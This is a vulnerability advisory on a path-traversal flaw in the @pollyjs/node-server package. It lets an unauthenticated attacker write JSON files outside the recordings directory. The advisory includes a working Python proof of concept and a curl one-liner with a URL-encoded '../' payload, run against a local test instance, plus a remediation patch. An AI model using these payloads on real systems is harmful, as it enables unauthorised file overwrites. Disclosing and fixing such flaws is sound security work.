#507·pollyjs

Path Traversal Leading to Arbitrary File Write

Author: NinjaGPTCreated Jun 29, 2026Updated Sep 16, 2026

PollyJS @pollyjs/node-server Path Traversal Leading to Arbitrary File Write

0. Vulnerability Basic Information

Advisory Field Content
Title Path Traversal in @pollyjs/node-server leads to unauthenticated arbitrary file write
Ecosystem npm
Package name @pollyjs/node-server
Affected versions all versions <= 6.0.6(latest)
Patched versions None yet
Severity Critical
CVSS v3.1 9.1 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWE CWE-22 (Path Traversal) / CWE-73 (External Control of File Name or Path)

1. Summary

Item Value
Component @pollyjs/node-server (Netflix PollyJS, packages/@pollyjs/node-server)
Vulnerability type Path Traversal (CWE-22) → Arbitrary File Write (CWE-73)
Affected endpoint POST {apiNamespace}/:recording (default apiNamespace=/save, i.e. POST /save/:recording)
Impact An unauthenticated remote attacker can control the path of the written file, writing controlled JSON content to an arbitrary writable location outside recordingsDir (overwriting / creating files)
Verification status Dynamically verified locally (HTTP 201 + out-of-bounds file landing + runtime call-stack forensics)

2. Vulnerability Description

@pollyjs/node-server provides an HTTP API for recording storage. The Express route POST /:recording takes the recording parameter directly from the URL path segment and passes it through to API.saveRecording() without any path sanitization, allowlist, or .. filtering.

The filename is constructed by filenameFor() using path.join():

javascript
filenameFor(recording) {
  return path.join(this.recordingsDir, recording, 'recording.har');
}

path.join() normalizes .. by traversing up directories (rather than stripping it), so when recording contains ../ sequences, the final path escapes recordingsDir. saveRecording() then calls fs.outputJsonSync() to write the request body to that path — and fs-extra.outputJsonSync recursively creates any non-existent parent directories automatically, further amplifying the impact (the attacker does not need the target directory to exist beforehand).

Key bypass detail (which determines the PoC form): the route is a single-segment parameter '/:recording', and Express matches [^/]+ by default, not crossing /. Therefore the payload cannot contain a literal / character, or the route won't match and returns 404. The attacker must use a URL-encoded %2f so that / is not treated as a path separator at the HTTP layer; Express then URL-decodes the parameter once after route matching, turning %2e%2e%2f back into the single-segment parameter value ../, which takes effect at the path.join stage. This is exactly why "plaintext ../" fails while "%2e%2e%2f encoding" works.

The written content is constrained by bodyParser.json() — it must be valid JSON and gets re-serialized by JSON.stringify(..., {spaces:2}). Therefore this is a constrained arbitrary file write (the written artifact is formatted JSON), not an arbitrary byte write, and it is not a file read. The exploitation value depends on the service process's privileges and the target file (e.g. overwriting config files, writing JSON that other services load, dropping files into a web root / scheduled-task directory, etc.).


3. CVSS

CVSS 3.1 Base Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Metric Value Rationale
AV (Attack Vector) Network Triggered remotely over HTTP
AC (Attack Complexity) Low Single request, stably reproducible, no race condition
PR (Privileges Required) None The endpoint has no authentication
UI (User Interaction) None No user interaction required
S (Scope) Unchanged Impact confined to the security domain running the service
C (Confidentiality) None The sink is a write operation; it does not leak file contents
I (Integrity) High Controlled path + controlled JSON content; can overwrite / create files
A (Availability) High Can overwrite critical files (config/data), causing denial of service

Deployment context note: node-server is designed as a local development-time recording proxy. The score above is given for the worst-case deployment scenario where "the service is exposed to a reachable network." Given that the service is unauthenticated by default, that fs-extra auto-creates parent directories to amplify the reachable write surface, and that in practice it is often exposed by CI / remote mock services, scoring it under a network-exposure scenario is reasonable. The remediation cost is very low (see Section 8).


4. SOURCE (Taint Source)

The HTTP request URL path segment, extracted as an Express route parameter:

javascript
// packages/@pollyjs/node-server/src/express/register-api.js:54-56
const { recording } = req.params;   // ← fully attacker-controlled, no validation

req.params.recording originates from the client request line POST /save/<attacker-controlled> and is untrusted.


5. SINK (Dangerous Sink)

fs.outputJsonSync(), where the write path is built directly from the unsanitized taint via path.join:

javascript
// packages/@pollyjs/node-server/src/api.js:32-38
saveRecording(recording, data) {
  fs.outputJsonSync(this.filenameFor(recording), data, {   // ← SINK: arbitrary-path write
    spaces: 2
  });
  return this.respond(201);
}

// packages/@pollyjs/node-server/src/api.js (filenameFor)
filenameFor(recording) {
  return path.join(this.recordingsDir, recording, 'recording.har');  // ← taint concatenation, no ".." filter
}

Additional fs-extra.outputJsonSync behavior: automatically mkdirps parent directories, amplifying the reachable write locations.


6. Call Stack (Taint Propagation Path)

Source-level data flow:

HTTP POST /save/<payload>
  └─ register-api.js:53  router.post('/:recording', bodyParser.json(...), handler)
       └─ register-api.js:55  const { recording } = req.params           [SOURCE]
            └─ register-api.js:60  api.saveRecording(recording, req.body)
                 └─ api.js:32      saveRecording(recording, data)
                      └─ api.js:46  filenameFor(recording)
                           └─ api.js:47  path.join(recordingsDir, recording, 'recording.har')  [traversal occurs]
                      └─ api.js:33  fs.outputJsonSync(<traversed path>, data)                   [SINK]

Real runtime call stack captured during dynamic verification (in the local reproduction deployment, Error().stack was printed inside saveRecording, triggered when recording = "../../PWNED_marker"):

[server] req.params.recording = "../../PWNED_marker"
[STACK] resolved filename = .../scratchpad/PWNED_marker/recording.har   ← already escaped recordingsDir
Error: call-stack-trace
    at API.saveRecording (.../api.js:17:19)
    at .../server.js:15:32                                  ← Express POST handler
    at Layer.handle [as handle_request] (.../express/lib/router/layer.js:95:5)
    at next (.../express/lib/router/route.js:149:13)
    at .../body-parser/lib/read.js:171:5                    ← handler entered after bodyParser.json finishes parsing
    at AsyncResource.runInAsyncScope (node:async_hooks:206:9)
    at invokeCallback (.../raw-body/index.js:238:16)
    at IncomingMessage.onEnd (.../raw-body/index.js:287:7)
    at IncomingMessage.emit (node:events:519:28)

7. Dynamically Verified PoC

Deployment: Using the official real source code (api.js logic unchanged, the POST /:recording route from register-api.js), reproduced locally on :40404, with recordingsDir pointing to ./recordings.

PoC (Python, tested and confirmed working):

python
#!/usr/bin/env python3
# PollyJS @pollyjs/node-server — Path Traversal -> Arbitrary File Write
import requests

TARGET = "http://127.0.0.1:40404"

# Key: single-segment URL-encoded ../  (%2e%2e%2f)
#  - The route is '/:recording' (single segment, [^/]+); the payload must not
#    contain a literal '/', otherwise 404.
#  - %2f keeps '/' from being treated as a separator at the HTTP layer; after
#    Express decoding, the parameter = "../../PWNED_marker"
#  - The trailing 'recording.har' is appended by the server's path.join
payload = "%2e%2e%2f%2e%2e%2fPWNED_marker"      # decodes to = ../../PWNED_marker

url  = f"{TARGET}/save/{payload}"
body = {"pwned": True, "proof": "arbitrary-file-write"}

resp = requests.post(url, json=body, timeout=10)
print("[POC] POST", url)
print("[POC] HTTP status:", resp.status_code)   # actual: 201
print("[POC] response body:", repr(resp.text))
# Verify: check whether <...>/PWNED_marker/recording.har appears outside recordingsDir

Actual output:

[POC] POST http://127.0.0.1:40404/save/%2e%2e%2f%2e%2e%2fPWNED_marker
[POC] HTTP status: 201
[POC] response body: '.../scratchpad/PWNED_marker/recording.har'

Out-of-bounds write evidence (the file lands outside recordingsDir=.../polly-test/recordings, jumping two levels up):

$ cat .../scratchpad/PWNED_marker/recording.har
{
  "pwned": true,
  "proof": "arbitrary-file-write"
}

Equivalent one-line curl:

bash
curl -i -X POST 'http://127.0.0.1:40404/save/%2e%2e%2f%2e%2e%2fPWNED_marker' \
     -H 'Content-Type: application/json' -d '{"pwned":true}'
# -> HTTP/1.1 201 Created; then ../../PWNED_marker/recording.har is created

Increasing the number of traversal levels (adding more %2e%2e%2f segments) pushes the write location further up the filesystem to any writable directory; whether it ultimately hits a sensitive file depends on the running privileges of the node process.


8. Remediation

In filenameFor() (or at the route layer), normalize recording and enforce that it stays within recordingsDir:

javascript
filenameFor(recording) {
  const target = path.resolve(this.recordingsDir, recording, 'recording.har');
  const base = path.resolve(this.recordingsDir) + path.sep;
  if (!target.startsWith(base)) {
    throw new Error('Invalid recording name');   // reject out-of-bounds
  }
  return target;
}

Additional measures:

  1. Apply allowlist validation to recording (e.g. only allow [\w.-]+, explicitly reject values containing /, \, or ..);
  2. Bind the API to 127.0.0.1 only and add authentication, to avoid exposure to a reachable network.